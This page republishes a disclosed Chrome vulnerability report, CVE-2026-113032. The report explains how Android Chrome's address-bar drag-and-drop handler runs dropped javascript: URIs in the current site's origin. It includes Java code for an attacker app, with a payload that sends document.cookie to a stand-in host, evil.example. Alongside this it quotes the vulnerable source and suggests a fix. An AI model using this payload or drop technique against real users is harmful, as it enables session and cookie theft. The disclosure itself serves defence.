Skip to content
XSS Advisory Advanced CVE-2026-113032

Improper input validation in Omnibox (CVE-2026-113032)

Anonymous Follow

Originally disclosed on Chrome VRP

  • Fix shipped in 3 months

Steps to reproduce the problem

Affected build: Android Chrome containing commit 78e6ce2 (present in current origin/main, 153.0.7986.0). Device must be unmanaged (no enterprise DevTools/URLBlocklist restriction).

  1. Build/run an attacker "drag source" app on the same device. Put a javascript: URI into a ClipData.Item and start a global drag. Either of two forms is accepted by the handler:

    Form A — Intent with BROWSABLE category (most direct, no MIME needed):

    Java
    String p = "javascript:fetch('https://evil.example/s?c='+encodeURIComponent(document.cookie))";
    Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(p)).addCategory(Intent.CATEGORY_BROWSABLE);
    ClipData clip = new ClipData(new ClipDescription("d", new String[]{ "text/plain" }),
                                 new ClipData.Item(i));
    view.startDragAndDrop(clip, new View.DragShadowBuilder(view), null, View.DRAG_FLAG_GLOBAL);
    

    Form B — URI item + declared text/plain (MIME fallback path):

    Java
    ClipData clip = new ClipData(new ClipDescription("d", new String[]{ "text/plain" }),
                                 new ClipData.Item(Uri.parse(p)));
    view.startDragAndDrop(clip, new View.DragShadowBuilder(view), null, View.DRAG_FLAG_GLOBAL);
    
  2. Open Chrome; navigate the current tab to a site you are logged into (e.g. https://mail.example.com).

  3. Put Chrome and the attacker app side by side (split-screen / multi-window).

  4. Drag from the attacker app and drop onto Chrome's address bar / URL bar.

Result: the javascript: URI is loaded as an omnibox navigation (PageTransition.TYPED) and the JavaScript executes in the origin of the currently displayed page (the sample payload exfiltrates that site's cookies).

Note: a live PoC was not executed. The attacker-app code and steps above are a reproduction plan derived from source analysis; the vulnerable code paths in Problem Description are verified in tree.

Problem Description

The Android LocationBar drag-and-drop handler resolves a URI from dropped content and loads it into the omnibox with PageTransition.TYPED, but never validates the URI's scheme. A javascript: URI dropped from another app therefore executes in the currently displayed page's origin → UXSS.

1. The handler is wired to the address bar and URL bar. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java:556-557

Java
mLocationBarLayout.setOnDragListener(dragDropHandler);
mLocationBarLayout.getUrlBar().setOnDragListener(dragDropHandler);

2. The sink: dropped URI is navigated as-is with the highest-trust transition, no scheme check. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:112-122 (acceptDrop)

Java
Uri uriToLoad = findUriToLoad(context, clipData, event.getClipDescription());
if (uriToLoad == null) return false;

String url = uriToLoad.toString();                         // scheme of uriToLoad never validated
if (permissions != null
        && ContentResolver.SCHEME_CONTENT.equals(uriToLoad.getScheme())) {  // only used to release perms
    tab.addObserver(new DragAndDropPermissionsReleaseObserver(tab, permissions));
    permissions = null;
}
mOmniboxStub.loadUrl(
        new OmniboxLoadUrlParams.Builder(url, PageTransition.TYPED).build());  // top-trust navigation

3. Why a javascript: URI is accepted — no scheme validation in either branch. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:225-251 (findUriToLoad)

Java
Uri findUriToLoad(Context context, ClipData clipData, @Nullable ClipDescription desc) {
    for (int i = 0; i < clipData.getItemCount(); i++) {
        ClipData.Item item = clipData.getItemAt(i);

        // Detect URL drops first.
        Intent intent = item.getIntent();
        if (intent != null && intent.hasCategory(Intent.CATEGORY_BROWSABLE)) {
            Uri uri = intent.getData();
            if (uri != null) {
                return uri;                    // (Form A) returned with NO mime or scheme check
            }
        }

        Uri uri = item.getUri();
        if (uri == null) continue;

        String mimeType = getMimeType(context, uri);
        if (mimeType == null && clipData.getItemCount() == 1 && desc != null) {
            mimeType = getFallbackMimeType(desc);   // (Form B) falls back to DECLARED mime types
        }

        if (mimeType != null && isAcceptableMimeType(mimeType)) {
            return uri;                        // scheme of uri never examined
        }
    }
    return null;
}

For Form B, getMimeType() returns null for any non-content/non-file scheme (so javascript: → null, forcing the fallback): chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:160-173 (getMimeType)

Java
String getMimeType(Context context, Uri uri) {
    if (ContentResolver.SCHEME_CONTENT.equals(uri.getScheme())) {
        return context.getContentResolver().getType(uri);
    }
    if (!ContentResolver.SCHEME_FILE.equals(uri.getScheme())) {
        return null;                           // javascript:, data:, intent: ... -> null
    }
    ...
}

and getFallbackMimeType() inspects only the MIME types the ClipDescription declares (e.g. text/plain) — never the URI's real scheme: chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java:184-192 (getFallbackMimeType)

Java
String getFallbackMimeType(ClipDescription desc) {
    for (int i = 0; i < desc.getMimeTypeCount(); i++) {
        String type = desc.getMimeType(i);
        if (isAcceptableMimeType(type)) {      // "text/plain" -> true
            return type;
        }
    }
    return null;
}

4. Downstream sink has no javascript: filter. chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarMediator.java — loadUrl() special-cases only chrome-extension:// (line 1009); every other scheme flows to the navigation:

Java
LoadUrlParams loadUrlParams = new LoadUrlParams(url);                    // :1052  raw url
loadUrlParams.setTransitionType(
        omniboxLoadUrlParams.transitionType | PageTransition.FROM_ADDRESS_BAR);  // :1062
...
currentTab.loadUrl(loadUrlParams);                                       // :1112

Additional Comments

5. The content layer executes it. content/browser/renderer_host/navigation_controller_impl.cc:4303-4322 — a javascript: URL is a renderer-debug URL and is dispatched via HandleRendererDebugURL to run in the current document. Neither guard stops this drop:

C++
if (blink::IsRendererDebugURL(params.url)) {
    if (GetContentClient()->browser()->ShouldBlockRendererDebugURL(
            params.url, browser_context_, node->current_frame_host())) {
        DiscardPendingEntry(false);
        return nullptr;                        // blocks only on enterprise policy
    }
    if (params.initiator_origin.has_value() &&
        params.initiator_origin->opaque()) {   // browser-initiated drop has NO initiator_origin
        DiscardPendingEntry(true);
        return nullptr;
    }
    HandleRendererDebugURL(node, params.url);   // executes JS in the current document
    return nullptr;
}

ShouldBlockRendererDebugURL returns true only under enterprise policy (chrome/browser/chrome_content_browser_client.cc:7756), and the opaque-initiator check is skipped because a drop-initiated omnibox navigation is browser-initiated (no initiator_origin) — the same reason legitimately typed javascript: bookmarklets execute.

6. The existing self-XSS protection is bypassed. components/omnibox/browser/omnibox_text_util.cc:26 — StripJavascriptSchemas() strips javascript: from typed/pasted omnibox text, but this drag path builds OmniboxLoadUrlParams directly and never passes through the text-input layer. So a single drag-and-drop runs the script with none of the "I understand" paste friction.

Impact: arbitrary JavaScript in the origin of whatever site the victim currently has open, including authenticated sessions — cookie/token/DOM theft and actions as the logged-in user (UXSS).


Additional Comments

Root cause is in the new class LocationBarDragDropHandler (chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/LocationBarDragDropHandler.java) plus its wiring in LocationBarMediator.java.

Suggested fix: in acceptDrop(), before navigating, reject any resolved URI whose scheme is not in an explicit allow-list (http/https/content/file); explicitly reject javascript:, data:, intent:. This must cover both branches of findUriToLoad (the intent.getData() / BROWSABLE path and the item.getUri() / MIME-fallback path). Lowering the transition type alone is insufficient because the content layer executes browser-initiated javascript: regardless. Consider routing dropped text through the same sanitization used for pasted omnibox input, and add a regression test asserting a dropped javascript: URI is rejected.

Summary

Android omnibox drag&drop loads dropped javascript: URI as TYPED nav -> UXSS in current page

Custom Questions

Type of crash:

XSS

Reporter credit:

Anonymous

Additional Data

Category: Security
Chrome Channel: Stable
Regression: N/A \

The original report as published on the Chromium issue tracker, by Anonymous. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A medium-severity XSS bug in Omnibox (Google Chrome). Chrome VRP made it public on 20 October 2026 as CVE-2026-113032. Fixed in version 156.0.8078.47.

About XSS

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Anonymous

View all

2,270 more disclosed reports, best first.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.